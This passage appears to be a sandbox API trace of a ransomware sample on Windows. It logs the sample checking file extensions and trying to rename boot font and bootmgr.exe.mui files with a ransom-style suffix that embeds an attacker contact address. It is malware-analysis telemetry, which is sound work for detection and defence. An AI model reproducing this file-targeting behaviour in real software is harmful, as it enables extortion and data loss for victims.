"c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0060.002] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0060.003] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0060.003] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0060.003] lstrlenW (lpString=".doc") returned 4 [0060.003] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0060.003] lstrlenW (lpString=".docx") returned 5 [0060.004] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0060.004] lstrlenW (lpString=".pdf") returned 4 [0060.004] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0060.004] lstrlenW (lpString=".xls") returned 4 [0060.004] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0060.004] lstrlenW (lpString=".xlsx") returned 5 [0060.004] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0060.004] lstrlenW (lpString=".ppt") returned 4 [0060.004] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0060.004] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0060.004] lstrlenW (lpString=".zip") returned 4 [0060.005] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0060.005] lstrlenW (lpString=".rar") returned 4 [0060.005] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0060.005] lstrlenW (lpString=".bz2") returned 4 [0060.005] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0060.005] lstrlenW (lpString=".7z") returned 3 [0060.005] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0060.005] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0060.005] lstrlenW (lpString=".dbf") returned 4 [0060.005] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0060.005] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0060.005] lstrlenW (lpString=".1cd") returned 4 [0060.005] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0060.006] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0060.006] lstrlenW (lpString=".jpg") returned 4 [0060.006] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0060.006] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0060.006] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0060.006] lstrlenW (lpString=".doc") returned 4 [0060.006] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0060.006] lstrlenW (lpString=".docx") returned 5 [0060.006] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0060.006] lstrlenW (lpString=".pdf") returned 4 [0060.006] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0060.007] lstrlenW (lpString=".xls") returned 4 [0060.007] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0060.007] lstrlenW (lpString=".xlsx") returned 5 [0060.007] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0060.007] lstrlenW (lpString=".ppt") returned 4 [0060.007] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0060.007] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0060.007] lstrlenW (lpString=".zip") returned 4 [0060.007] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0060.007] lstrlenW (lpString=".rar") returned 4 [0060.007] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0060.007] lstrlenW (lpString=".bz2") returned 4 [0060.007] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0060.007] lstrlenW (lpString=".7z") returned 3 [0060.007] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0060.008] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0060.008] lstrlenW (lpString=".dbf") returned 4 [0060.008] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0060.008] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0060.008] lstrlenW (lpString=".1cd") returned 4 [0060.008] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0060.008] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0060.008] lstrlenW (lpString=".jpg") returned 4 [0060.008] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0060.008] lstrcmpiW (lpString1=".ttf", lpString2=".WHY") returned -1 [0060.009] lstrlenW (lpString="cht_boot.ttf") returned 12 [0060.009] CreateFileW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.465] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=3876772) returned 1 [0060.465] CloseHandle (hObject=0x1a4) returned 1 [0060.465] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0x20 [0060.465] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0060.466] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0060.466] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0060.466] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0060.467] lstrlenW (lpString=".doc") returned 4 [0060.467] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0060.467] lstrlenW (lpString=".docx") returned 5 [0060.467] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0060.467] lstrlenW (lpString=".pdf") returned 4 [0060.467] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0060.467] lstrlenW (lpString=".xls") returned 4 [0060.467] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0060.467] lstrlenW (lpString=".xlsx") returned 5 [0060.467] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0060.467] lstrlenW (lpString=".ppt") returned 4 [0060.467] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0060.467] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0060.467] lstrlenW (lpString=".zip") returned 4 [0060.467] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0060.468] lstrlenW (lpString=".rar") returned 4 [0060.468] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0060.468] lstrlenW (lpString=".bz2") returned 4 [0060.468] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0060.468] lstrlenW (lpString=".7z") returned 3 [0060.472] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0060.472] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0060.472] lstrlenW (lpString=".dbf") returned 4 [0060.472] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0060.472] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0060.472] lstrlenW (lpString=".1cd") returned 4 [0060.472] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0060.472] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0060.472] lstrlenW (lpString=".jpg") returned 4 [0060.472] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0060.473] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0060.473] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0060.473] lstrlenW (lpString=".doc") returned 4 [0060.473] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0060.473] lstrlenW (lpString=".docx") returned 5 [0060.473] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0060.473] lstrlenW (lpString=".pdf") returned 4 [0060.473] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0060.473] lstrlenW (lpString=".xls") returned 4 [0060.473] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0060.473] lstrlenW (lpString=".xlsx") returned 5 [0060.474] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0060.474] lstrlenW (lpString=".ppt") returned 4 [0060.474] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0060.474] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0060.474] lstrlenW (lpString=".zip") returned 4 [0060.474] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0060.474] lstrlenW (lpString=".rar") returned 4 [0060.474] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0060.474] lstrlenW (lpString=".bz2") returned 4 [0060.474] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0060.474] lstrlenW (lpString=".7z") returned 3 [0060.474] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0060.474] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0060.474] lstrlenW (lpString=".dbf") returned 4 [0060.474] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0060.474] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0060.475] lstrlenW (lpString=".1cd") returned 4 [0060.475] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0060.475] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0060.475] lstrlenW (lpString=".jpg") returned 4 [0060.475] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0060.475] lstrcmpiW (lpString1=".mui", lpString2=".WHY") returned -1 [0060.475] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0060.476] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.476] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=88144) returned 1 [0060.476] CloseHandle (hObject=0x1a4) returned 1 [0060.477] GetFileAttributesW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui")) returned 0x20 [0060.477] GetFileAttributesW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0060.477] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.477] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0060.477] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0060.477] lstrlenW (lpString=".doc") returned 4 [0060.477] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0060.477] lstrlenW (lpString=".docx") returned 5 [0060.478] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0060.478] lstrlenW (lpString=".pdf") returned 4 [0060.478] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0060.478] lstrlenW (lpString=".xls") returned 4 [0060.478] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0060.478] lstrlenW (lpString=".xlsx") returned 5 [0060.478] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0060.478] lstrlenW (lpString=".ppt") returned 4 [0060.478] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0060.478] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0060.478] lstrlenW (lpString=".zip") returned 4 [0060.478] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0060.478] lstrlenW (lpString=".rar") returned 4 [0060.478] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0060.479] lstrlenW (lpString=".bz2") returned 4 [0060.479] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0060.479] lstrlenW (lpString=".7z") returned 3 [0060.479] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0060.479] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0060.479] lstrlenW (lpString=".dbf") returned 4 [0060.479] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0060.479] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0060.479] lstrlenW (lpString=".1cd") returned 4 [0060.479] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0060.479] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0060.479] lstrlenW (lpString=".jpg") returned 4 [0060.479] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0060.480] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0060.480] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0060.480] lstrlenW (lpString=".doc") returned 4 [0060.480] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0060.480] lstrlenW (lpString=".docx") returned 5 [0060.480] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0060.480] lstrlenW (lpString=".pdf") returned 4 [0060.480] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0060.480] lstrlenW (lpString=".xls") returned 4 [0060.480] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0060.480] lstrlenW (lpString=".xlsx") returned 5 [0060.480] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0060.480] lstrlenW (lpString=".ppt") returned 4 [0060.480] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0060.480] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0060.480] lstrlenW (lpString=".zip") returned 4 [0060.481] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0060.481] lstrlenW (lpString=".rar") returned 4 [0060.481] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0060.481] lstrlenW (lpString=".bz2") returned 4 [0060.481] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0060.481] lstrlenW (lpString=".7z") returned 3 [0060.481] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0060.481] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0060.481] lstrlenW (lpString=".dbf") returned 4 [0060.481] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0060.481] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0060.481] lstrlenW (lpString=".1cd") returned 4 [0060.481] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0060.481] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0060.481] lstrlenW (lpString=".jpg") returned 4 [0060.482] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0060.482] lstrcmpiW (lpString1=".mui", lpString2=".WHY") returned -1 [0060.482] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0060.482] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.483] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=90704) returned 1 [0060.483] CloseHandle (hObject=0x1a4) returned 1 [0060.483] GetFileAttributesW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui")) returned 0x20 [0060.483] GetFileAttributesW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0060.483] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.483] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0060.483] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0060.483] lstrlenW (lpString=".doc") returned 4 [0060.483] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0060.484] lstrlenW (lpString=".docx") returned 5 [0060.484] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0060.484] lstrlenW (lpString=".pdf") returned 4 [0060.484] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0060.484] lstrlenW (lpString=".xls") returned 4 [0060.484] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0060.484] lstrlenW (lpString=".xlsx") returned 5 [0060.484] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0060.484] lstrlenW (lpString=".ppt") returned 4 [0060.485] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0060.485] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0060.485] lstrlenW (lpString=".zip") returned 4 [0060.485] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0060.485] lstrlenW (lpString=".rar") returned 4 [0060.485] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0060.485] lstrlenW (lpString=".bz2") returned 4 [0060.485] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0060.485] lstrlenW (lpString=".7z") returned 3 [0060.485] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0060.485] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0060.485] lstrlenW (lpString=".dbf") returned 4 [0060.485] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0060.485] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0060.486] lstrlenW (lpString=".1cd") returned 4 [0060.486] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0060.486] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0060.486] lstrlenW (lpString=".jpg") returned 4 [0060.486] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0060.486] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0060.486] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0060.486] lstrlenW (lpString=".doc") returned 4 [0060.486] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0060.486] lstrlenW (lpString=".docx") returned 5 [0060.486] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0060.486] lstrlenW (lpString=".pdf") returned 4 [0060.487] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0060.487] lstrlenW (lpString=".xls") returned 4 [0060.487] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0060.487] lstrlenW (lpString=".xlsx") returned 5 [0060.487] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0060.487] lstrlenW (lpString=".ppt") returned 4 [0060.487] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0060.487] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0060.487] lstrlenW (lpString=".zip") returned 4 [0060.487] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0060.487] lstrlenW (lpString=".rar") returned 4 [0060.487] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0060.487] lstrlenW (lpString=".bz2") returned 4 [0060.487] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0060.487] lstrlenW (lpString=".7z") returned 3 [0060.487] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0060.487] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0060.488] lstrlenW (lpString=".dbf") returned 4 [0060.488] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0060.488] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0060.488] lstrlenW (lpString=".1cd") returned 4 [0060.488] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0060.488] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0060.488] lstrlenW (lpString=".jpg") returned 4 [0060.488] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0060.488] lstrcmpiW (lpString1=".mui", lpString2=".WHY") returned -1 [0060.488] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0060.489] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.489] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=90704) returned 1 [0060.489] CloseHandle (hObject=0x1a4) returned 1 [0060.492] GetFileAttributesW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui")) returned 0x20 [0060.493] GetFileAttributesW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0060.493] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.493] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0060.493] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0060.493] lstrlenW (lpString=".doc") returned 4 [0060.493] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0060.493] lstrlenW (lpString=".docx") returned 5 [0060.493] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0060.493] lstrlenW (lpString=".pdf") returned 4 [0060.493] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0060.494] lstrlenW (lpString=".xls") returned 4 [0060.494] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0060.494] lstrlenW (lpString=".xlsx") returned 5 [0060.494] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0060.494] lstrlenW (lpString=".ppt") returned 4 [0060.494] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0060.494] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0060.494] lstrlenW (lpString=".zip") returned 4 [0060.494] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0060.494] lstrlenW (lpString=".rar") returned 4 [0060.494] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0060.494] lstrlenW (lpString=".bz2") returned 4 [0060.494] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0060.494] lstrlenW (lpString=".7z") returned 3 [0060.494] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0060.495] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0060.495] lstrlenW (lpString=".dbf") returned 4 [0060.495] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0060.495] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0060.495] lstrlenW (lpString=".1cd") returned 4 [0060.495] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0060.495] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0060.495] lstrlenW (lpString=".jpg") returned 4 [0060.495] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0060.495] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0060.495] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0060.495] lstrlenW (lpString=".doc") returned 4 [0060.495] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0060.495] lstrlenW (lpString=".docx") returned 5 [0060.495] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0060.496] lstrlenW (lpString=".pdf") returned 4 [0060.496] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0060.496] lstrlenW (lpString=".xls") returned 4 [0060.496] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0060.496] lstrlenW (lpString=".xlsx") returned 5 [0060.496] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0060.496] lstrlenW (lpString=".ppt") returned 4 [0060.496] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0060.496] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0060.496] lstrlenW (lpString=".zip") returned 4 [0060.496] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0060.496] lstrlenW (lpString=".rar") returned 4 [0060.496] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0060.496] lstrlenW (lpString=".bz2") returned 4 [0060.496] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0060.497] lstrlenW (lpString=".7z") returned 3 [0060.497] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0060.497] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0060.497] lstrlenW (lpString=".dbf") returned 4 [0060.497] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0060.497] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0060.497] lstrlenW (lpString=".1cd") returned 4 [0060.497] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0060.497] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0060.497] lstrlenW (lpString=".jpg") returned 4 [0060.497] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0060.498] lstrcmpiW (lpString1=".mui", lpString2=".WHY") returned -1 [0060.498] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0060.498] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 